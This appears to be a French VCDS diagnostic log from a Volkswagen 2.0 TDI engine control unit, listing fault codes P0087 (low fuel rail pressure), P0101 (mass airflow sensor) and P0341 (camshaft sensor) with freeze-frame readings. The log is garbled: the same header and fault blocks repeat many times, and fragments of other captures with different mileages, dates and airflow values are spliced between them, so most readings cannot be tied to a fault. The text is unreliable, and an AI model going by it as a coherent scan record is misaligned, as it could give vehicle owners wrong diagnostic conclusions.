Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
___________________________________________________________________________
Vendredi,16,Juin,2023,22:28:09:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
4794 - Débitmètre d´air massique (G70) Signal implausible
P0101 00 [237] - -
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Témoin allumé - Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 278153 km
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Date: 2023.05.22
Temps: 13:52:53
Régime moteur: 1385.50 /min
Valeur de charge normée: 0.0 %
Vitesse du véhicule: 19 km/h
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
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Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
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VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Température du liquide de refroidissement: 90 °C
Température air d’admission: 62 °C
Pression de l'air ambiant: 880 mbar
Tension borne 30: 13.840 V
Compteur de désapprentissage selon OBD: 40
Masse d'air débitmètre d'air massique 1 b1: valeur brute: 359.9 mg/course
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
Rapport de flux d'air normalisé: filtré: 1.2336
Soupape de recyclage des gaz éch. 1 b1: réponse pos. - valeur eff.: 0.00 %
Actionn. papillon 1 b1: réponse pos. - valeur eff.: 0.00 %
Pression de suralimentation de consigne: 1277 hPa
Entrée rad. air sural.: transm. pression 1 b1: tens. brute: 955.4 hPa
Débit d'injection moyen: 0.00 mg/course
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
4113 - Capteur de pos. d´AAC transmetteur (G40) Signal implausible
P0341 00 [096] - -
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Lundi,09,Septembre,2024,15:47:56:00009
Version VCDS: FRM 22.3.1 sous Windows 10 x64
[Link]
Adresse 01: Moteur Labels: [Link]
No. VAG du calculateur: 04L 906 021 EQ Mat: 04L 907 309 A
Pièce et/ou version: R4 2,0L EDC H22 7540
Codage logiciel: 011D0012036405083000
Code atelier: WSC 01286 386 08256
Jeu de données ASAM: EV_ECM20TDI01104L906021EQ 002008 (VW37)
ROD: EV_ECM20TDI01104L906021AD_002.rod
VCID: 78FF5DE7C3D3424FF3-802C
2 Codes défaut trouvés:
5211 - Pression d'injection/de système carburant
P0087 00 [096] - trop bas(se)
Intermittent - Non Confirmé - Testé depuis RàZ mémoire
Capture:
Etat du défaut: 00000001
Priorité du défaut: 2
Fréquence du défaut: 1
Kilométrage: 327837 km
Date: 2024.09.07
Temps: 09:02:31
Régime moteur: 2981.50 /min
Valeur de charge normée: 100.0 %
Vitesse du véhicule: 137 km/h
Température du liquide de refroidissement: 94 °C
Température air d’admission: 181 °C
Pression de l'air ambiant: 950 mbar
Tension borne 30: 13.060 V
Compteur de désapprentissage selon OBD: 40
Transmetteur 1 temp. de carburant banc 1: valeur brute: 52.9 °C
Débit d'injection moyen: 74.43 mg/course
Régulation de pression d'injection: état-Bits 0-7: 5
Transmetteur de haute pression de carburant: valeur eff.: 1778500 hPa
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